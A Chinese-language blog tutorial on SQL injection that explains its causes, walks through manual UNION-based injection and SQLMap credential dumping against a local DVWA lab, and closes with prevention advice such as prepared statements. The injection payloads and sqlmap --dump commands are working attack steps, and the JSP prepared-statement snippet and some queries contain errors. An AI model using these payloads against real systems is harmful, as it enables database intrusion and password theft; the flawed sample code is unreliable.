SQL注入

写在前面

谈到SQL注入,那么自然和数据库有很大的关系。先说数据库,数据库大致可以分为Access数据库、MySQL数据库、SQLServer数据库、Oracle数据库等。Access数据库是比较早期的应用于Web应用的数据库。但是近几年Access数据库的使用再逐渐地减少,这是因为它不能适应大量用户的访问,而且安全性没有其他的数据库高。而现在使用的比较多的是MySQL数据库。SQLServer和Oracle在大型公司比较适用。

1、原理

SQL语言时一门解释型语言,由一个运行时组件解释代码并且执行其中的指令。Python也是一种解释型语言。

基于解释型语言的执行方式,会产生一系列叫代码注入的漏洞,SQL就是其中的一种。攻击者只需要提交专门设计的SQL语句,向Web应用程序攻击。结果,解释器就会将这其中一部分的输入解释为程序指令来执行了,就和一开始程序员写好的代码一样。因此,SQL注入漏洞就随之形成了。

除了语言本身的原因,SQL注入产生的另一个原因就是没有对输入或提交数据进行过滤。在编写Web应用时,由于其自主访问控制性质,程序员一般会对用户输入的信息进行一定程度上的过滤操作,过滤掉一些危险字符,如or、单引号、注释符等。但是也会存在一些经验不足的程序员忽视这个问题,从而导致过滤规则不到位,最后就导致SQL注入漏洞的出现,以至于被攻击者利用。

2、注入分类

主要由3种不同类型的注入点,它们分别是数字型、字符型和搜索型。在编写实际的web应用时,程序员会根据不同的数据类型编写不同的查询代码。

例如:

(“?”表示需要输入的数据)

数字型:SELECT * FROM user WHERE id = ?

字符型:SELECT * FROM user WHERE username = ‘?’

搜索型:SELECT * FROM user WHERE username = ‘%?%’

每个类型在输入数据的时候,对数据进行了一定的规范,因此,才产生了这样的划分。重点是要去区分类型。上面的这种区分知识从数据角度进行的划分,它们的注入步骤和原理都是一样的。

对于安全人员而言,工具仅是一种实现渗透的手段,不能过多依赖于工具的操作。因为工具也是安全人员为了简化步骤而编写出来的。对于刚刚接触的人而说,工具会很方便,但是了解原理才真正掌握了这个漏洞。工具确实很方便,感觉工具让初学者感到舒适,不过还是要学习原理的。毕竟原理才是最重要的。

那么就开始SQL注入探索之旅了!!!

这里我用的是DVWA,之前的博客由介绍过DVWA,不知道的朋友可以去查访,也可以自行查找资料。

在DVWA里选择了low的security level,然后选择到了SQL注入模块,在输入框中输入1,然后提交,得到如下的结果。

从上图中可以看出,输入一个数字后,返回了一个ID=1的查询结果。以此为例,在进行注入点判断的时候,按照一般步骤,输入数字时会考虑这是一个数字型的注入点,所以会先按照数字型的方式操作注入点。

在其中输入1 and 1 = 1试试,结果如下:

看结果可以看出ID现在是1 and 1=1,很明显,没有达到我要的效果,这里的ID不是数字型而是个字符型。所以我对注入点类型的判断就变为字符型了。

接下来就要去判断这个注入点是否是有效的。在很多的实际操作中,某些应用程序虽然会允许这样的输入操作发生,当它在后端实际是过滤了该部分。所以不一定会由操作效果。那么就用一个经典的操作来判断注入点是否有效。

在其中输入1‘ and ’1’=‘1结果如下:

再输入1’ and ’1‘=’2,结果如下:


这里出现了两种不同的结果,而这两种结果证明了这个注入点是有效的。and 1=1是一个永真命题,and后面的条件是永远成立的,而and 1=2正好相反,1=2是一个永假命题,and后面的条件不成立。对于web应用来说,再条件不成立的情况下就也不会将结果返回给用户,所以后者的查询结果中看不到数据。

不同的数据库可能会有不同的操作。

MySQl数据库允许使用联合查询方法,这样查询更加便捷。那么我们判断完注入点后,应该要判断数据表的列数,那么就输入1' order by 1#。结果如下:

正常显示了ID=1的数据,说明一下1' order by 1#,其中的order by是根据列值查找的命令,找不到就会报错。#起到的作用是注释,这个和Python一样,注释后防止后续语句干扰。接下来继续试1' order by 6#,直到确定列数。结果如下:

这里就明显是报错了,找不到列值为6的列。这就说明这个数据表里不存在6列,然后继续按照这个步骤,可以从1开始往上试(直到出现报错)或者从6开始往下试(或者正常显示)。这样我就可以确定表中究竟有多少列,接下来我一个个试后,发现DVWA的security:low的表只有2列。

知道了列数为2列之后,我们要看MySQL数据库的版本,从MySQL5.0版本开始的版本具有information_schema数据库,里面有所有数据库的数据表名和列名。我可以利用这个数据库来进行数据的检索,所以在此之前需要查看使用的MySQL数据库的版本,输入1' union select version (),2#,提交,结果如下:

可以看到数据库版本是5.5.53,知道了版本号,就可以使用information_schema来完成后续的操作。

输入1' union select table_name,2 from information_schema.tables where table_schema=database()#,结果如下:

由此可以看出图中显示了两个表名,一个是guestbook,一个是users。但是可能没有看懂上面输入的是说明意思。不慌,这就理解说明一下,information_schema数据库中含有tables这个数据表,条件是表数据库名与database()相同,而database()正是当前查询的数据库。

然后查询列名。

输入1' union select group_concat(column_name),2 from information_schema.columns where table_name = 'user'#,结果如下。

一共可以看到11个列名,输入语句其实与上面那句类似,就是找到那个数据表中的列名。有了这些数据,我就可以列出想要的数据了,输入1' union selcet user,password from users#,结果如下:

我们就可以得到用户名和密码了,这里的密码使用的都是MD5加密,可以利用MD5在线解密工具解密。

这差不多就是手工注入的步骤。

总结一下就是:找注入点—>判断数据库的列数—>查看数据库版本—>获取数据库名—>获取数据表名—>获取数据列名—>爆出数据。

3、SQL注入工具

SQL注入工具有很多,比较好用的有Pangolin和SQLMap工具。这两个工具对于初学者来说,上手难度不大。

Pangolin是一款帮助渗透测试人员进行SQL注入测试的安全工具。Pangolin和JSky都是NOSEC公司的产品。Pangolin具备友好的图形界面并支持测试几乎所有的数据库。

SQLMap是一个自动SQL注入工具,可以执行一个广泛的数据库,管理系统后端指纹,检索DBMS数据库、username、表格、列,并列举整个DBMS信息。SQLMap提供转储数据库表以及MySQL、PostgreSQL、SQLServer服务器下载或上传任何文件并执行任意代码的能力。

注:DBMS:Database Management System,数据库管理系统

我一般喜欢用SQLMap,这里实在Windows环境下的演示:

打开cmd,到sqlmap所在的目录,

输入:python sqlmap.py -u"http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ec88uk1ch1p4872supj3vp2mj3" --current-db

可以看到当前的数据库名为dvwa,之后输入:

python sqlmap.py -u"http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ec88uk1ch1p4872supj3vp2mj3" -D dvwa --tables

可以看到有两个表名,一个是guestbook,一个是users。这个和之前的手工注入效果是一样的。

接下来继续,我输入python sqlmap.py -u"http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ec88uk1ch1p4872supj3vp2mj3" -D dvwa -T users --columns

一共有8个列名,之后就dump数据就ok了。之前手工注入的时候多显示了 3个列,不过问题不大,输入python sqlmap.py -u"http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ec88uk1ch1p4872supj3vp2mj3" -D dvwa -T users -C user,password --dump

这样就可以得到我们想要的账号和密码,这里的密码的MD5值也被解出了。
SQLMap自带字典可以用来破解比较简单的密码。从操作上来看的话,SQLMap是一款很不错的自动注入工具,但是在安全级别较高的应用中,SQLMap的使用还是比较有限的。不过对于新手而言确实是很友好的工具。我一开始接触SQL注入,就使用了这一款工具,感觉确实很不错,新手也很容易上手,就是真正来说还是要会手工注入比较好,贴近原理。

4、预防SQL注入

对于服务器层面的防范,应该保证生产环境的Webshelll是关闭错误信息的。例如,PHP生产环境的配置php.ini中的display_error是off,这样就可以关闭服务器的错误提示。关闭了错误提示是有利于混淆视听的,可以一定程度上干扰攻击者,另外可以从编码方面去预防SQL注入。

最好是使用预编译语句来防御SQL注入,就是使用预编译语句绑定变量。

例如在JSP中使用的预编译的SQL语句。

String sql="SELECT * FROM users where username = ?";
PreparedStatement pstmt = connection. prepareStatement();
pstmt.setString(1,admin);

?处与后面的输入的变量相互绑定,之后攻击者如果使用and 1=1之类的语句,应用程序会将整个部分当作是username来进行检索数据库,而不会造成修改语义的问题。

还可以检查变量类型和格式。如果要求用户输入的数据是整型的,那么就可以在查询数据库之前检查一下获取到的变量是否为整型,如果不是整型就要重新校正。还有就是一些比较特殊的格式类型,如日期、时间、邮件等格式。总体而言,如果变量有固定的格式,在SQL语句执行前,就应该严格地按照要求去检查,可以很大程度预防SQL注入攻击。

还要一种方法就是过滤一些特殊符号。在SQL注入时,往往需要一些特殊的符号帮助我们编写语句,如'#"等。可以将这些符号都进行转义处理或使用正则表达式过滤掉。

除了编码层面的预防,还需要做到数据库层面的权限管理,尽量减少在数据库中使用Root权限直接查询的次数。如果有多个应用程序使用同一个数据库,那么数据库应该分配好每个应用程序的权限。

参考文献

[1]陈铁明.网络空间安全实战基础:第一版.北京:人民邮电出版社,2018

更多推荐

SQL注入简单入门